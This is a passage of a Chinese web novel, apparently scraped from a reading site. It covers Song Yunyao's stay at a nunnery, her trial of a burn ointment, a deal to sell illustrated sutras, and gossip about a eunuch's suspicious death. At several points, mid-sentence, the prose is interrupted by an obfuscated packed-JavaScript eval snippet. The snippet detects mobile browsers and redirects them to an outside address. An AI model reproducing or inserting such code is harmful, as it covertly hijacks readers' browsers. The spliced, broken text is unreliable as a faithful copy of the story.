宋云谣一愣,下意识道,“可昨夜没有送药来。” 说完她又自觉不合适,找补道:“多谢大师好意,可我这些日子身上并无不适,平日里上山下水、种地干活都使得,这……这样,还不算痊愈吗?” 法真终于停步,看向她的右手。 “宋施主,手上的伤,你也觉得痊愈了么?” 她顺着法真的目光低头看,手上那片刺眼的疤痕,是她当初在富春江的游船上,被灼热的香炉烫伤的。 当时情况危急,她只能用布条随意缠住,可之后几次落水,伤口反复沾染泥水,情况愈发糟糕,到她被兰姨救起时,小半只手几乎已经变成一块烂肉了。 若是寻常大夫,恐怕要割掉这块肉才能保命。万幸她遇上了医术高超的法真,敷了数月的药,新皮肉长了出来,如今只是看着狰狞可怖了一些,对冷热更敏感易痛一些,并不妨碍日常起居。 她听出法真的未尽之言,心中一时又是感慨、又是惶恐,连声道:“大师将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穿过狭小的院子,推开房门,屋子不大,墙边是一排排打到顶的药材柜,看得人眼花缭乱。中间只有一张书案,上面垒着几本古籍,还放着各色炮制药材的工具。 宋云谣打量一圈,问道,“不知大师为何将我带到这了。” 法真径直走到一个柜子前,拉开一格抽屉,从中拿出一个巴掌大的广口瓷瓶,打开瓷瓶,递到宋云谣面前。 宋云谣生怕自己手滑摔了,没有接过,只是探头看了一眼,瓶子里盛着淡红的药膏,瞧着是凝脂质地。 “这是……” 法真收回手,盖上瓶口,道:“这是贫尼炮制的新药,专用于烧伤的。” 直到此时,宋云谣再傻也明白她的意思了,法真是希望自己为她试一试新药的效用。可她不解,若只为试药,又何必大费周章,直说便是。 她不想猜疑,直截了当开口,“法真大师对我有大恩德,若是为了试药,我自无推脱,大师何不直说?” 果不其然,法真道:“这药的药性有些烈,贫尼给自己试过,药效虽不错,可贫尼生来有个毛病,皮肉之苦,较之常人更钝些。” 宋云谣微微蹙眉,“大师给自己试药?这是何意?” 法真转身放好瓷瓶,拉开宽大的袍袖给她看,只见法真皮肉松垮的小臂上,竟布满了一块块深浅不一的烫疤。 法真很快便放下袖袍,宋云谣睁大了眼睛,一时竟不知该说什么。 自伤己身,只为研究药效如何,又这般凑巧,老天给了副对皮肉苦痛并不敏感的身躯……该说这是她慈悲无我,还是当真天命所定? 宋云谣定定神,先抛下那些七七八八的想法,问道:“大师想让我试的是药效,还是这药用起来于普通人而言,痛不痛苦?” 她问得一阵见血,法真微怔,微微移开目光,轻声道,“贫尼惭愧,是后者。” 法真眼帘低垂,为自己的私心不齿,等待着预想中的否决。可眼前人却清脆开口,“这有何不可。” 宋云谣低头看了眼自己的手背,错过了法真猝然抬起的视线,喃喃道,“既有效用,不过是吃些皮肉之苦,这又算得了什么?” 对面停顿不语,宋云谣抬起头,却见法真双手合十,朝她深深一躬。 “宋施主大恩德,贫尼没齿不忘。” 宋云谣急忙将她扶起,脸颊微红,有些不好意思,“大师客气了,倘若当真能治好,还是我收益,大师不必如此……” 五旬有余、德高望重的老者朝自己拜谢,宋云谣实在受不住,连忙岔开话,“对了,那这药膏,可以不算在我的‘香火钱’里吗?” 法真微微讶然,宋云谣有些窘迫,“就是,您把脉开方的香火钱。” 她尴尬得脚趾都缩紧了,却见法真一笑,“施主误会了。静雪庵给人看病诊治的香火钱,只取一根立香。” “一根立香?”她错愕道。 “是。” 既如此,为何香客都不愿来看病了?一根香便抵了药钱,静雪庵账上还有多少银子?后山那几块田地,就足够喂饱整座庵堂的人了?炭火衣物、香烛日用,处处都要银子,静雪庵到底哪来的钱? 宋云谣心底疑问万千,可毕竟太过逾矩,通通咽了下去。无论如何,得知所谓香火钱不过是一根立香,她心里总归是轻松不少。 二人又说了说日后试药的事,法真带她出了小院,锁了院门,往外走去。 困扰她大半年的烦恼顿时跑了,还有了天经地义的由头,能在静雪庵多待一段时日,宋云谣心中雀跃,面对向来平静无波的法真大师,也起了揶揄的心思。 她笑道,“大师莫非是因为我手上的伤,才反复炼制新药的?看来大师心里有我。” 法真神色如常,岿然不动,语气寻常。 “于贫尼而言,宋施主与世间一花一木、一草一木都并无不同。施主既在贫尼心中,也不在贫尼心中。” 宋云谣背手走在旁,不禁扬起一个笑。果然,她最喜欢别人同她打机锋。 还未想好应对之语,法真忽然又道:“只是有一点施主错了。” “哦?但闻其详。”她微微挑眉。 法真步履不停,道:“这药并非为了施主所制。早在二十年前,我便开始研究了。” 宋云谣不过玩笑话,只看她手臂上那些深深浅浅的伤处,就明白,这药绝非半年就能制成。 只是法真这么一说,她还真被勾起几分好奇,不禁问道,“恕晚辈冒昧,为何是二十年前?” 二人继续走了许久,法真都未回答。宋云谣以为自己逾矩了,心下尴尬,刚想致歉,法真却在一间冷清的佛堂外停下脚步。 佛堂的门半开着,一位比丘尼坐在蒲团之上,闭眼念诵经文,她侧着身,日光洒在石砖上,仿佛也在她半边脸上映了块阴影。 宋云谣以为自己眼花了,忍不住向前走了一步,才发现那并非阴影,而是一片狰狞丑陋的伤疤! 她半边脸上褐红、青紫交织,仿佛彩墨混在水中,凌乱相融。 可比起颜色,更令人心惊的是那烧伤疤从一侧额头延伸到嘴角,竟连眼眶都缺了一块,眼珠诡异的突出在外,形容可怖。 看清眼前一切,宋云谣的身子霎时僵在原地,可下一刻,屋内那人竟侧头直直看了过来! 二人视线相对,不过瞬息之间,宋云谣竟已镇定下来,嘴角一扬、眉眼一弯,朝那人合掌行礼,温和开口。 “扰了这位师父清静,烦请勿怪。” 9.下山【待修】 几日后,静雪庵。 时值初春,灵山上烟柳飞絮、草木葱茏。 天还未亮,静雪庵西北角的小院里,寮房木门被轻轻推开。 甫一推开房门,清晨微凉的风扑到脸上、钻进袖笼,哈欠还没打完,宋云谣就忍不住打了个寒颤。 她走到院中的石井边,利索打上一桶水,倒进木盆里。井水冰凉,棉布浸了水,拧紧,再贴在脸上,最后一丝困意都消散了。 耳畔一片宁静,寺中的钟声还未响,晨风过处,唯有山中林木婆娑摇曳的沙沙声。 宋云谣蹲在水井旁,棉布盖在脸上,长长喟叹一声。 停顿许久,低头,棉布滑落水中。 盆中的倒影散了又聚,她望着水中那个荆钗布裙、不施粉黛的自己,竟有几分恍如隔世。 她蹲在井边,盯着水盆发愣许久,右手伸进水里,轻轻拨散了那倒影。 隔着一层水波,手背上那半片红褐相间的疤痕依旧狰狞。 井水冰凉,手放久了,伤处传来一阵刺痛,她不由倒抽一口凉气,赶忙换了只手捞棉布。 宋云谣轻轻吹了吹伤口,想起前几日见过的妙音。 自己的伤势远不如妙音,尚且需得日日小心。妙音师傅与伤疤顽强同处二十年,又是何等毅力? 又思及法真二十年来的苦心钻研、悉心照料,宋云谣叹了口气,心底说不出的滋味。 她发了会儿愣,院门被人轻轻推开,门后探进来半个身子,小声唤她。 “宋娘子!宋娘子!” 宋云谣抬眼望去,却见庄箐箐朝她咧嘴一笑,推开门,一蹦一跳走了进来。 她手里握着一把野花草,一路走、一路掉,走到宋云谣面前时,手里只剩下几根狗尾巴草。 庄箐箐瞧见了,眼一红、嘴一撇,当即要哭。 宋云谣连忙从地上捡起花,哄道:“没事,捡起来就行。箐箐去那边坐着,一会儿我给你编头发。” 庄箐箐破涕为笑,一朵朵捡起地上的野花,乖乖在廊下的小木凳上坐好。 她这一打岔,宋云谣那几分愁绪也飘远了,三两下洗漱完毕,为她编起头发。 庄箐箐是个法真收留的疯姑娘。她瞧着快三十的年纪,心智却才五六岁,从前最喜欢缠着善远玩闹。 可自从善远受戒皈依后,也渐渐有了修行者的模样,除了跑腿送药的活计,还有数不清的经文要读,渐渐冷落了她。为此,庄箐箐没少发脾气。 在善远的解释下,她勉强明白了功课是正事,又把矛头对准了宋云谣——这个不知哪里冒出来、抢了她玩伴的人! 二人头一回见面,便是庄箐箐火冒三丈地来找宋云谣麻烦。 她一步一跺脚地冲进屋子,却见宋云谣病恹恹歪在床上,脸上半点血色都没有,当即便蔫了。 宋云谣虽没见过庄箐箐,却久闻她大名,知道她行事与稚童无异,并无恶意。 病中憋得慌,其他人都在农忙,难得在白天见到个活人,她也就顺着庄箐箐的话,同她天南地北摆起龙门阵。 没说几句,庄箐箐的火气便消了,浑然忘记自己是来找人麻烦的,反倒搬了个小板凳坐在她跟前,听她讲那些志异故事。 一来二去,庄箐箐便与宋云谣熟识起来,俨然将她看作仅此于善远的伙伴,得闲便来找她玩。 不过她今日过来,却不单是为了玩乐——不一会儿,她们便要下山,去定阳县城找药商拿药材。 药商难得路过此地,可约定的那天正巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779841|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶上寺里要办水陆法会,姑子们分身乏术,法真便将这事儿交托给了兰姨。 兰姨是个闲不住的,在定阳待了半年,早将这附近的村镇、县城都摸清了,下山寄封信的事儿,自然不在话下。 前日清晨,兰姨还悄悄问了她想不想吃烧鸡,若是实在嘴馋,悄悄给她捎上也行。宋云谣听得头疼,赶忙给她夹了一筷子菜,堵上她的嘴。 可昨夜突如其来一场雨,兰姨从后山回来时,竟不甚摔了腿。她嘴上说着没事,脚踝却肿得走不了路。 法真为她敷了药,本打算让别的姑子抽空去,宋云谣思来想去,主动站了出来,愿意替法真跑一趟。 因为她没去过定阳县,法真便让庄箐箐随她同去——她虽痴傻,可自小在定阳县长大,熟门熟路,寻个县城总不再话下。 “你看,这样就好了。” 梳好头发,宋云谣拿起浅粉的花枝,为她簪在耳后。庄箐箐抬起手,小心翼翼摸了摸花瓣,又碎步走到木桶旁边,望着水中倒影,满意得合不拢嘴。 宋云谣瞧着她得意的侧脸,也忍不住笑了笑。 趁她临水自照,宋云谣转身推开房门,轻轻放了洗漱物件,又走到床边拉开抽屉,寻到那小小的广口瓷瓶。 对着窗外的天光,她用指甲挖了块药膏,呼吸几下,将药膏擦到右手的伤处。 手上火辣辣的疼,她扶住窗框,身子一阵打颤,后背冷汗直冒,咬紧牙关强忍疼痛。 “叫你别图便宜,傻了吧。” 背后忽然传来一道凉凉的嘲讽。 宋云谣并不答话,等到捱过那阵疼痛,才直起腰,慢慢将药膏放回原处。 “自讨苦吃。”兰姨冷哼一声。 “我走了,你好生休息。” 10.身世 “抄书?” 贾管事闻言一愣,眼睛从卷轴上移开,脸上露出几分恍然。 沉吟片刻,他道:“实不相瞒,这上头的字,放在为我们供稿的书生之中,都算是不错的。” 宋云谣盯着他,心中感到些许不妙。 “可是……”贾管事眉心微皱,面带犹疑。 她忙道:“您若不放心,我现下就写给您看也行。” “倒不是因为这个。”贾管事一摆手,试探道,“若是没猜错,师傅如今是带发修行?” 隔着一层纱帘,察觉到他的审视,她忽觉喉咙有些干涩。 “修行谈不上,只是暂且借住静雪庵中。” 贾管事神色莫测,并不接话。 见状,宋云谣微微垂首、软下语气,话里带了几分恳求。 “贾管事,我也不瞒您。去岁我家中突遭变故,家母与我无处可去,恰得住持慈悲,才收留我们在庵堂里养病。 “虽有寺中照顾,可总不好一直叨扰住持。我身无长物,又要照顾家中母亲,便想来您这寻个门路……” “姑娘的难处,我晓得了。”贾管事客客气气打断她的话,“还不知该如何称呼?” “我姓宋。” “宋姑娘,我便与你实说了。你这字,没毛病;可你的身份,不合适。” 贾管事抬手捻须,眼睛微眯,露出精明的模样。 “僧尼虽不能经商买卖,可鄙人眼里,所谓经书抄录、开光供奉,也算是一门生意。 “往大了说,若你是法真大师那样的人物,自有官眷士绅供养钱粮纸墨,上赶着来求字。 “就我所知,前些年法真大师只要抄一部《大般若经》,养活静雪庵大半年都不成问题。” 她抿抿唇,“所以,是因为我不是出家人?” “宋姑娘若真是出家人,反倒不必来我这寻门路了。” 贾管事笑了一声,目光扫过她垂在胸前的辫子上。 “宋姑娘还未出阁吧?” 宋云谣沉默不答,放在膝上的手不动声色地攥紧了。 “虽说抄书人不必留下名姓,可姑娘毕竟待字闺中,清誉为重。这笔墨漏出去,万一将来生出些事端,倒是我们书坊的罪过了。” 贾管事将经文推到她面前,“若姑娘坚持要以此谋生,不妨去旁的书铺再看看吧。” 他语气虽委婉,态度却明确,搬出的说辞也有理有据,宋云谣心下不免挫败。 她低头看了看经文,仍不甘心,思绪一转,又问道:“不知这几卷经文,管事可还瞧得上?” 他的茶盏抬起复又放下,“姑娘是说,托我们书坊卖你抄的经书?” “佛经多是女眷买了奉在家中,既不是什么诗词歌赋,想来并不妨碍清誉。” 她说得直截了当,“我虽不及法真大师,可您是做生意的,金有金的卖法、铜有铜的卖法,这一点贾管事比我明白。” 贾管事却不接茬:“话虽不假,可这铜毕竟少了层金身啊……” 宋云谣一顿,开口道:“贾管事可否借我笔墨一用?” 贾管事一挑眉,许是好奇她还有什么手段,竟没有拒绝。 伙计取来笔墨,宋云谣将其中一卷经文翻面铺平,站起身,提笔吸墨,徒手在空白的卷轴背面勾画起来。 自她从宽大的袖袍中伸出右手,贾管事心中便是一震。 她的右手用布条裹住了手背,斑驳的疤痕从布条下蔓延到了指间,看起来伤势不轻。 可即便如此,她握笔的姿势仍旧稳当,落笔纸上,行云流水,挥洒自如。 他不禁踱步至她身后,细细看去,却见笔走游龙之间,空白的卷轴上缓缓现出一位净瓶观音,端坐莲台、庄重禅静。 约莫一炷香后,宋云谣堪堪停笔。放好紫毫,她轻轻吐了口气,有些疲乏地看向男人。 “您看,若是每卷经文后,我都添上一幅画,又算不算‘金身’呢?” 贾管事站在桌前,一时失语。 许是作画时间太短,又是临时起意,她虽在观音的姿态神貌上花了功夫,可其余诸多细节却不免粗陋,经不起推敲。 但妙就妙在,她并未单纯画一副佛像,而是将其置身山水之中,大片的留白烘出禅意,又借云雾遮掩住艰深难画的部分,乍一看,还当真唬人。 短短一炷香时间,既有功底,几笔就抓住佛像神韵;又不乏急智,借意境掩盖了技法不足之处…… 竟是低估她了。 贾管事心中惊诧,眼睛不住地往画上瞟,嘴上却绷得紧,非要挑出几个毛病,故作为难。 “我瞧着,还是有不少错漏……画在卷轴后面,恐怕也不大合适……” 听他这般说,宋云谣反倒松了口气。没有一口回绝,那便是有得谈,大抵不过是退步让利几分,也在她意料之中。 一番讨价还价后,二人签下契书,宋云谣每月送来经文佛画,托慧芳书坊售卖,她从中取四成利,下月结算。 在契书中,宋云谣额外添了一条,书坊不得透露她的身份。 只要不妨碍生意,贾管事自无不可,当即爽快答应。 而今日带来的这几卷经文,又由书坊出资买下,虽说价不算高,可终于有了进项,她心中说不出的高兴。 趁贾管事去取银子,她终于得空看向庄箐箐。在外人面前,庄箐箐向来安静拘谨。 见她在一旁默默坐了大半时辰,宋云谣有些歉疚,小声道:“一会儿去买酥饼松糕,好不好?” 庄箐箐乖乖点头。 不多时,贾管事拿着钱袋子过来。卖了几卷经文,再加上给她预支来添置笔墨纸张的银子,统共给了她三两银子。 数目不小,宋云谣接过银子时,仍不可思议,讶然道:“管事就不怕我拿着银子跑了?” 贾管事却笑道:“姑娘若跑了,我便去静雪庵找住持要说法去。三两银子,换一个在法真大师面前露脸的机会,我可不亏。” ——原来是看在法真的面子上。 她心下了然,又不免奇怪,静雪庵香火稀薄,可为何法真大师反倒声望颇高? 还有面铺的那位大婶,提起静雪庵时,态度也分外微妙,明明厌恶,却又愿意伸手相助…… 宋云谣满腹疑问,直到一行人走到门口,她终于忍不住询问,为何他对法真大师如此敬重? 贾管事倒也答得坦荡。 “大师医术高明、慈悲为怀,我自然敬重。更要紧的是,法真大师原是衢州冯家的人。” “冯家?”宋云谣一愣。 “冯家可是衢州大族,祖上曾管过盐务,最风光的时候,冯家人跺跺脚,整个江浙都要抖三分。” 贾管事看看左右,压低声音。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一时间,点心铺里一片狼藉,点心、竹屉都被一扫而下,伙计急得跪地哀求。 不知为何,庄箐箐也受了惊吓,忽然抱头尖叫起来。 场面太过混乱,宋云谣急忙将她揽到怀里,终于寻机冲了出去。 门外早已围满人群,却无一人敢上前拉架。她拉着颤抖的庄箐箐冲出人群,走到街角靠墙坐下,顺着她的后背,不停安抚情绪。 不知过了多久,庄箐箐终于稍稍平静下来,身子不再颤抖,只是疲软地靠在她肩上,大口呼吸。 “能走吗?”她小心翼翼问。 庄箐箐慢慢点头,宋云谣搀扶着她起身。 四顾一圈,点心铺已然关了门,店里伙计与打架的汉子都不知所踪。 听周围看热闹的人说,方才恰有衙役路过,见有人打架闹事,直接将他们带去了衙门。 宋云谣眉心一跳。 哪怕已过去近一年,一提起衙门,她还是忍不住心惊。 她定定神,整理好二人的帷帽,准备搀着庄箐箐离开这是非之地。 可刚走到巷口,却听路边茶摊上,有人口中忽然冒出一个熟悉的名字。 “……不知道了吧,都是因为那位王太监,王攀!” 宋云谣的脚步猛然一顿。 11.蹊跷 王攀?莫不是她听错了? 宋云谣心中一震,来不及多想,下意识拉着庄箐箐一旁茶桌边坐下。 见她面露疑惑,宋云谣将酥饼塞给她,搪塞道,“饿不饿?先吃点再走吧。” 身后,几个男人围坐一桌,就着一壶茶,聊得正热闹。 方才说出王攀名字的男人长了张歪嘴,如今双手抱胸、斜睨众人,一副了若指掌的模样。 只是桌上众人显然不信,七嘴八舌询问起来。 “你该不会说的是,那个王太监吧?”其中一人压低声音道,“他不是都死了一年了?” “你这歪嘴又说胡话。”旁边有人附和,满脸不屑,“就算死了,那太监也是顶有名的人物。钱家和刘家就算打破天,人也懒得看一眼罢!” “是啊是啊,我明明听人说,是钱家的媳妇跑了,才找刘家要说法的。” 周围人纷纷反驳,那歪嘴儿自觉丢了面子,脸色也难看起来。 “嘁,不信拉倒。” 他嗤笑一声,起身要走。同桌几人忙拉他坐下,又是倒茶、又是捏肩,插科打诨一番,歪嘴儿终于满意开口。 宋云谣坐在一旁,听得心脏直跳。摊主端来两碗茶,她捧着那温热的旧陶碗,手心冷汗涔涔。 那歪嘴儿说得颠三倒四,一讲到王攀,许多地方便含含糊糊、一笔带过。 可宋云谣了解王攀为人,在心中抽丝剥茧,大致厘清了前因后果。 说来也简单,今日在点心铺斗殴的两伙人,正是定阳县两个富户家的人。 一家姓刘,做布庄起家,从前在衢州地界稍有名气。一家姓钱,做染坊生意,家底稍逊一截,却也富庶。 因着生意缘故,两家走动频繁,关系不错。刘家有些漕运门路,生意做得更大。钱家仰仗其势,平日里没少殷勤奉承。 后来,钱家以自家一个染坊为聘礼,钱家长子求娶刘家独女。两家很快便结成姻亲,成亲那天声势之浩大,即便到今日,也叫定阳人津津乐道。 直到五年前,王攀到定阳征税,盯上了当时生意如日中天的刘家。 而钱家早有攀附之意,背着刘家,主动给王攀送上了诸多“罪状”,以表忠心。 王攀为人贪刻无厌,借朝廷矿税名义,四处搜刮敛财,对富商豪绅们,更是恨不能敲骨吸髓。 定阳县商业发达,刘家这头肥羊,自然被他盯上,只等寻到机会、杀鸡儆猴。 而钱家用惯了钻营攀附的把戏,眼见王攀意图打压惩治刘家,便主动送了一份大礼。 ——刘家这些年来,在漕运上的诸多打点孝敬。 明眼人都晓得,这做生意,少不了拜码头、找靠山,送些打点孝敬,也是人之常理。 只可惜,有些事只要不上台面,睁一只眼闭一只眼也就过了;可一旦挑明了放到公案上,一桩桩一件件,就都成了呈堂罪证。 瞌睡了就有人送枕头,王攀自然满意。很快,刘家的上下男丁都被押进大牢,生死未卜。 女眷们日夜等待消息,最后从姻亲钱家口中得到消息——事到如今,也只有破财消灾这一条路了! 无奈下,刘家关了布庄商铺、遣散伙计仆从、卖了房屋田产,凑齐白银百万两,以补齐多年商税的名义,送到了王攀府邸。 而钱家抓住机会,一面偷偷低价购入了刘家的田产、布庄,一面对王攀百般殷勤讨好,俨然为自己寻了座新靠山。 经此一事,王攀赚了个盆满钵满;钱家低价吞了刘家的田产庄子,又得了实权太监当靠山,从此在衢州一带,愈发跋扈起来。 只有刘家,丢了经营多年的生意与家产;老爷受了牢狱之灾,没多久便撒手人寰;几个细皮嫩肉、娇养长大的少爷,也落了病根,寿命有碍。 一时间,刘家上下,只剩一个自小收养的表少爷勉强支撑。 好在瘦死的骆驼比马大,刘家这些年渐渐缓过气来,四处跑动行商,虽不至东山再起,也有了几分兴旺之相。 “嘶……”看客们听得皱眉,“所以,这是王太监死了,刘家准备秋后算账?” “就算没了王太监,刘家如今干得过钱家?做梦呢。” “不对不对,今日先找麻烦的,明明是钱家啊。”方才看了斗殴全程的汉子抢话道。 “我也听说,是当初嫁到钱家的那个刘家女,不知跟谁跑了!钱家一口咬定人是被刘家藏起来的,囔囔着让刘家还人呢。” “那钱家是得着急上火,当初刘家多风光,那聘礼可不少银子吧。” “嚯!”有人挤挤眼睛,“我要是钱家人,这话可是半句都不敢说出口。女人跑了,那不就是自家汉子不行么!” “你个不要脸的泼才,就你行!” “钱家人火气正大呢,当心人听见了,拿你泻火……” “我呸!” 众人一阵哄笑,嬉皮笑脸地说起荤话,浑然不在意旁边就坐了两个女子。 而宋云谣听了半晌,急促的心跳平静下来,慢慢放下手心里攥得生疼的茶碗盖。 虚惊一场。 看来,没有什么新消息。 她缓缓吐出一口气,在桌上放了几枚铜板,准备带着庄箐箐起身离开。 可还未起身,却听那歪嘴儿说道:“不过你们听说了没,那王太监的死,好似有蹊跷。” 这话有如石破天惊,宋云谣手一颤,霎时僵在原地。 “啥蹊跷?” “你小子消息这么灵通?” “别管这个,快说!” 见众人起了兴趣,歪嘴儿清清嗓子,压低声音,故作玄虚。 “你们可听说过,黑岩帮的名号?” 见众人一脸迷茫,歪嘴脸上愈发得意。 “黑岩帮都不知道? “据说,他们原是处州一带的矿工,前几年在王太监手下的矿场干活。 “王太监那是何等脾性,你们都知道,就算矿工们只图讨口饭吃,那日子过得,也叫一个水深火热……” “啧,说要紧的!”同桌人催促道。 “总之,那矿场挖了几年,赔进去不知多少条性命,既不见矿脉,又不关停矿场。一怒之下,矿工们干脆揭竿而起,砸了矿场、绑了监工、冲进衙门,逼县令交出王太监!” 众人听后无不倒吸一口凉气,唯有一个高壮的汉子一拍桌子,狠狠道:“痛快!” 旁边人连忙捂住高壮汉子的嘴:“不要命了你!” “他都死了,老子还怕啥!”汉子眉毛一竖,颇为不忿。 歪嘴儿没理他,喝了口茶,继续道。 “那县令吓得屁滚尿流,连夜从临县抽调官兵前来镇压,结果矿工们提前得了消息,早跑没影了! “那县令丢了脸,四处张贴通缉令。那帮人呢,一不做二不休,干脆上山落草,取名‘黑岩帮’,自诩是铲奸除恶的绿林豪客,在浙东南的山里活动。” “听着倒也寻常。这几年被逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而那汉子激动得满脸通红,竟未察觉身后异样,只拉住歪嘴儿衣领,高声问道:“此话当真!真是黑岩帮杀的?!” 众人都被他吓了一跳,那歪嘴儿被半拎起来,不敢造次,结结巴巴道: “黑岩帮是这么说的,只是朝廷不大相信,好像要派个什么大官儿过来,亲自调查王太监死因……唉哟!你发什么疯!” 没等他说完,那高壮汉子一把将他丢到地上,转身就走,徒留歪嘴儿坐在地上骂骂咧咧。 身后,宋云谣木然坐在桌前,眼前天旋地转,脑海中嗡鸣不断。 恍惚间,她好似又回到那个混乱的雨夜,脚下是颠簸的江面,温热的血顺着她脸颊滑落,一滴滴砸在手上膝上。 “宋姐姐,宋姐姐?” 耳畔传来谁的呼唤,她后知后觉看去,是庄箐箐。她握着自己攥得发白的手,小声唤着她,满是不安。 她抬手摸了摸脸,滚落的也并非谁人的血液,而是方才桌上打破的茶水。 杂乱的声音钻进耳朵,身后男人聒噪不停,满嘴闲言赘语:高壮汉子死在矿难里的爹;歪嘴儿又攀上了哪个员外;朝廷新派的大官究竟又多“大”…… 有个声音在心底盘桓。 这是定阳县,不是杭州、不是陈府、更不是富春江。 她是正经人家的姑娘,借住静雪庵,无人知道她是窈儿。 不知过去多久,身后安静下来,那伙儿男人不知何时已然离开。 冷汗黏在身上,一阵风吹来,她不禁打了个寒颤,终于神魂归体。 “宋姐姐,你怎么了?”庄箐箐急得快哭了。 宋云谣心中惶惶,勉强扯出个笑,抽回自己冰凉的手,轻声道:“没事,就是有点累。” 给摊主赔了碎茶碗的钱,她背上竹篓。 “时辰不早,我们回去吧。” 12.剃度 出了县城,二人顺着灵江返程。江上波光粼粼,灵山层林掩映、春光正好。暖风过处,更有杨柳碧涛、竹花旋舞。 可光景如此,路上人却步履匆匆,都没了赏春的心思。 走了近两个时辰,抵达庵堂时,正值傍晚。 红墙上“静雪庵”三个大字,被夕照映得金光熠熠。宋云谣站在庵堂前,竟有瘫软倒地的冲动。 已到了晚膳的时辰,寺庙里钟声回响,隐约能看见姑子们往斋堂走去。 庄箐箐早已累得走不动路,宋云谣强撑精神,将她送回屋子,又带上在县城里买的糕点,送去了斋堂。 姑子们刚做完水陆法会,见她来了,忙招呼她过来用斋。宋云谣看了一圈,摆摆手,只道正事儿还没办完,要先去找住持。 刚走出斋堂,背后又有一人跟了出来。她回头一看,竟是净念法师。 净念算是静雪庵的二把手,为人严肃刚正、不苟言笑,对寺庙里的小尼姑们向来严格。 宋云谣见了她,连忙回身行礼。 净念板着脸走到她跟前,上下打量她一番,忽然问道:“可是遇上什么事了?” 她心中一惊,轻描淡写道:“就是有些累,叫师父担心了。” 净念不语,那双明亮的眼睛看得她心中发慌,她面上不动声色,扯开话茬:“倒是箐箐有些不好。” 她将今日在县城里撞见斗殴、庄箐箐受惊一事如实道来,净念果然眉头紧蹙,与她道谢一声,匆匆离开。 见她走远,宋云谣沉默伫立片刻,转身往法真禅房去。谁料到了后,禅房内竟空无一人。 她四顾一圈,将背篓放下,慢慢蹲在墙边,精疲力尽一般,将脑袋深深埋进膝盖里。 远离众人,她终于卸下伪装。 一旦身体空闲下来,熟悉的颤栗又从心底升起,恐惧仿佛潮水一样奔涌而来,盖住她的口鼻。 她深深呼吸几下,眼前仍是一阵阵发晕,干脆艰难抬起头,猛地往自己脸上抽了一巴掌。 冷静。 她对自己说。 就算朝廷真找到她,也未必没有活路可走! 宋云谣闭了闭眼,努力回想今日听到的消息,思绪转个不停。 首当其冲的,便是黑岩帮。 王攀此人贪猥无厌、官声极差,在浙江五年,逼得民怨沸腾。像黑岩帮这样揭竿而起的,也并非少数。 只是他们大多抵不过官府的势力,要么衙门推个替死鬼出来以泄民愤,要么被就地镇压、各自论罪。 总之,矿工们的起义大多就热闹个把月,便也销声匿迹、不了了之。 可是,黑岩帮却不一样。 他们之中肯定有个明白人,知道师出有名的道理,先是扯了杀死王攀的大旗,又做出不欺百姓、专杀豪强的姿态,俨然一副为民除害的英雄模样,以此笼络人心。 像茶桌上那位高壮汉子一样,一腔热血便去投靠的,恐怕不在少数。 对宋云谣而言,他们虽替自己顶了罪,却也将自己重新拉下了浑水。 按那歪嘴儿所言,江浙衙门早就上报朝廷,将王攀之死定为了意外。 其中缘由,或许因为王攀身上没有明显外伤,便于遮掩;也或许是,比起一个活的王攀,浙江官场,更需要一个死了的王攀。 王攀之死牵扯重大,就这么草草定为意外,连同在游船的陈茂良都无人提起,只怕其中少不了多方人马的彼此默契、顺水推舟。 若事情只停留在这一步,兴许她真能找到一条活路。 偏偏黑岩帮横生枝节,将这事儿重新捅了出来,闹得声势浩大,就连朝廷都心生疑窦。 只怕现在,比自己还胆战心惊、夜不能寐的,是浙江官场上那些大人物。 思及此,宋云谣心中讥讽,忍不住“噗嗤”一声笑了。 她不过一介无名瘦马,既无钱财、也无人牵挂。若真上了刑场,还有那些个道貌岸然、满腹经纶、家财万贯的大人作陪,倒也不亏? 苦中作乐一番,她的神情又黯然下来。 可她不想死。 若她今日死在这,当初一路吃的苦,又算什么?算她倒霉么? 莫名其妙的,她又想起当初在平溪遇到的沈三,不禁喃喃,“确实倒霉。” 沈三碰上她,本来发善心做好事,结果又是山洪、又是平白无故承了她一条命,怎么不算倒霉呢? 她苦笑一声,长长叹了口气,将脸埋进手里。 这该如何是好…… 忽有一阵风吹过,背篓“啪嗒”一声倒地,她揉揉脸,起身将落了一地的药材拾起。 可碰到药材时,她忽然想起今日在慧芳书坊,贾管事的话。 “……冯家可是衢州大族,祖上曾管过盐务,最风光的时候,冯家人跺跺脚,整个江浙都要抖三分……” “……后来虽不比从前,可烂船还有三斤钉呢,何况冯家?大师的胞兄,如今就在南京做官……” 电光石火之间,宋云谣只觉灵台一清。 对啊,如今这世道,想要正儿八经开个尼姑庵,可不是易事。尼姑庵中尽是女眷,若遇上歹人想要为祸,只怕难有抵抗之力。 静雪庵从前名声好、香火旺时,兴许还有百姓维护;可如今香火稀薄,还能日日清静、不受旁人觊觎,不就因为住持的俗家——衢州冯家庇护么? 